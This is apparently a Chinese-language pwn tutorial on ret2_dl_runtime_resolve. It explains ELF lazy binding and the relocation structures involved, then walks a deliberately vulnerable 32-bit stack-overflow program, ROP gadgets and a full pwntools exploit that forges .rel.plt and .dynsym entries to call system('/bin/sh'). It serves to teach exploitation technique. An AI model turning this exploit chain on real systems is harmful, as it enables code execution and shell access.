ret2_dl_runtime_resolve

0x01 程序示例

首先是一个程序:

1
2
3
4
5
#include<stdio.h>
int main(){
char buf[]="Kirin\n";
write(1,buf,strlen(buf));
}
1
gcc -m32 test.c -o test

write调用过程

write
0x8048380
可以看到,第一次调用write:

1
2
3
call  0x8048380(plt["write"])
0x8048380:
0x8048380 <write@plt>: jmp DWORD PTR ds:0x804a018(got["write"])

此时0x804a018处不是write函数的真实地址,而是指向0x8048386(plt[“write”]的下一条指令):

1
2
push    0x18
jmp 0x8048340

看一下test的文件结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gdb-peda$ readelf
.interp = 0x8048154
.note.ABI-tag = 0x8048168
.note.gnu.build-id = 0x8048188
.gnu.hash = 0x80481ac
.dynsym = 0x80481cc
.dynstr = 0x804823c
.gnu.version = 0x80482aa
.gnu.version_r = 0x80482b8
.rel.dyn = 0x80482e8
.rel.plt = 0x80482f0
.init = 0x8048310
.plt = 0x8048340
.plt.got = 0x8048390
.text = 0x80483a0
.fini = 0x8048574
.rodata = 0x8048588
.eh_frame_hdr = 0x8048590
.eh_frame = 0x80485bc
.init_array = 0x8049f08
.fini_array = 0x8049f0c
.jcr = 0x8049f10
.dynamic = 0x8049f14
.got = 0x8049ffc
.got.plt = 0x804a000
.data = 0x804a01c
.bss = 0x804a024

0x8048340处是plt[0](plt表开始地址):

1
2
0x8048340:	push   DWORD PTR ds:0x804a004
0x8048346: jmp DWORD PTR ds:0x804a008
1
2
0x804a004:	0xf7ffd918->link_map
0x804a008: 0xf7fee000->_dl_runtime_resolve

0x804a004:link_map=*(GOT+4),此处包含链接器的标识信息
0x804a008:_dl_runtime_resolve函数地址->*(GOT+8)->GOT[2],动态链接器中的入口点
0xf7ffd918:

1
0xf7ffd918:	0x00000000	0xf7ffdc04	0x08049f14	0xf7ffdc08

可以看到link_map中包含了.dynamic = 0x8049f14的指针

0x02 Section信息

.dynamic

dynamic

dynamic结构:

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

其中DT_STRTAB, DT_SYMTAB, DT_JMPREL分别指向.dynstr, .dynsym, .rel.plt节段

.dynstr

dynstr

开始为0
然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)

.dynsym

dynsym

结构:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym

注意两个字段:
st_name:符号名相对.dynstr起始的偏移(offset byte_8048278)
st_info:对于导入函数符号此处为0x12
(对于导入函数,其他处为0)

.rel.plt

.rel.plt
结构:

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;

r_offset:指向对应got表的指针
r_info:r_info>>8后得到一个下标,对应此导入符号在.dynsym中的下标

延迟绑定

可以看到开始的时候第一次调用write函数
其实调用的是:

1
_dl_runtime_resolve(link_map, reloc_arg)

reloc_arg为导入函数在.rel.plt中的偏移(比如此处的push 0x18)
0x18=0+3*sizeof(Elf32_Rel)=0+3*0x8
运行之后:

1
2
3
4
0x804a018(got["write"]):	0xf7ed8b70
vmmap:
0xf7e03000 0xf7fb3000 r-xp /lib/i386-linux-gnu/libc-2.23.so
0xf7ed8b70-0xf7e03000=0xd5b70(write函数在libc中的偏移)

可以看到运行write之后,got表处对应write的地址已变为动态加载后write的真实地址

_dl_runtime_resolve

_dl_runtime_resolve在glibc-2.23/sysdeps/i386/dl-trampoline.S中使用汇编实现
看一下程序中的调用过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ x/xw 0x804a008
0x804a008: 0xf7fee000
gdb-peda$ x/10i 0xf7fee000
0xf7fee000: push eax
0xf7fee001: push ecx
0xf7fee002: push edx
0xf7fee003: mov edx,DWORD PTR [esp+0x10]
0xf7fee007: mov eax,DWORD PTR [esp+0xc]
0xf7fee00b: call 0xf7fe77e0
0xf7fee010: pop edx
0xf7fee011: mov ecx,DWORD PTR [esp]
0xf7fee014: mov DWORD PTR [esp],eax
0xf7fee017: mov eax,DWORD PTR [esp+0x4]

可以看到0xf7fee00b处call 0xf7fe77e0,即调用_dl_fixup,并且通过寄存器传参
_dl_fixup在glibc-2.23/elf/dl-runtime.c中实现
直接看主要函数(from大佬BruceFan的分析):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

即:

1
2
3
4
5
6
首先通过link_map访问.dynamic节段,并获得.dynstr, .dynsym, .rel.plt节段的地址
.rel.plt + reloc_arg(第二个参数(导入函数在.rel.plt中的偏移))求出对应函数重定位表项Elf32_Rel的指针
利用此指针得到对应函数的r_info,r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针
利用Elf32_Sym的指针得到对应的st_name,.dynstr + st_name即为符号名字符串指针
在动态链接库查找这个函数,并且把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针
赋值给GOT表后,把控制权返还给write

0x03 漏洞利用

ROP:

1
2
3
4
5
6
1.控制eip为PLT[0]的地址
2.构造传递reloc_arg(第二个)参数
3.控制参数的大小,使rel的位置落在可控地址内
4.伪造rel的内容,使dynsym落在可控地址内
5.伪造dynsym的内容(主要是st_name),使name落在可控地址内
6.伪造name为任意库函数(一般获取shell,使用"system")

改写section信息

1
2
3
可以改写.dynamic的DT_STRTAB
或者直接改写.dynstr
使最后传入_dl_runtime_resolve函数的字符串(函数名)为我们改写后的字符串(我们需要调用函数的库函数名),而后成功运行函数(一般构造为"system"来获取shell)

0x04 利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>

void pwn()
{
char buf[16];
read(0, buf, 128);
}

int main(){
char name[]="Kirin\n";
write(1,name,strlen(name));
pwn();
}

编译:

1
gcc -o test  -m32 -fno-stack-protector test.c

因为main直接返回方式:

1
2
3
4
5
6
7
8
9
10
11
12
__unwind {
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
......
......
leave
lea esp, [ecx-4]
retn

所以这里添加pwn函数并关闭保护便于利用ret2dl-resolve:
程序很简单,ret2_dl_runtime_resolve利用过程:

ROP链信息:

1
ROPgadget --binary test --only "pop|ret"
1
2
3
4
5
6
7
8
9
10
Gadgets information
============================================================
0x0804853b : pop ebp ; ret
0x08048538 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804830d : pop ebx ; ret
0x0804853a : pop edi ; pop ebp ; ret
0x08048539 : pop esi ; pop edi ; pop ebp ; ret
0x080482f6 : ret
0x080481aa : ret 0x2c5
0x080483ee : ret 0xeac1
1
ROPgadget --binary test --only "leave|ret"
1
2
3
4
5
6
7
8
Gadgets information
============================================================
0x080483d8 : leave ; ret
0x080482f6 : ret
0x080481aa : ret 0x2c5
0x080483ee : ret 0xeac1

Unique gadgets found: 4

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#coding=utf-8
from pwn import *

elf = ELF('./test')
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x08048539 #pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x0804853b
leave_ret = 0x080483d8

stack_size = 0x800 #迁移栈后栈的大小
bss_addr = 0x0804a024 # readelf -S test | grep ".bss"
stack_addr = bss_addr + stack_size

p = process('./test')

#迁移栈至bss+stack_size
#read(0,stack_addr,100)
p.recvuntil('Kirin\n')
payload = 'A' * 28
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(stack_addr)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把stack_addr pop到ebp中
payload += p32(stack_addr)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向stack_addr
p.sendline(payload)

plt_0 = 0x08048310
rel_plt = 0x080482cc
index_offset = (stack_addr + 28) - rel_plt
write_got = elf.got['write']
dynsym_addr = 0x080481cc
dynstr_addr = 0x0804823c
hack_dynsym_addr = stack_addr + 36
align = 0x10 - ((hack_dynsym_addr - dynsym_addr) & 0xf)
hack_dynsym_addr = hack_dynsym_addr + align
index_dynsym_addr = (hack_dynsym_addr - dynsym_addr) / 0x10 #dynsym下标
r_info = (index_dynsym_addr << 8) | 0x7
hack_rel = p32(write_got) + p32(r_info) #伪造reloc段
st_name = (hack_dynsym_addr + 0x10) - dynstr_addr
hack_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #伪造dynsym段

#system("/bin/sh")
payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(stack_addr + 80)
payload2 += 'AAAA'
payload2 += 'AAAA'
payload2 += hack_rel # stack_addr+28
payload2 += 'A' * align
payload2 += hack_dynsym # stack_addr+36+align
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += "/bin/sh\x00"
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

参考文档

1
2
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://bbs.pediy.com/thread-227034.htm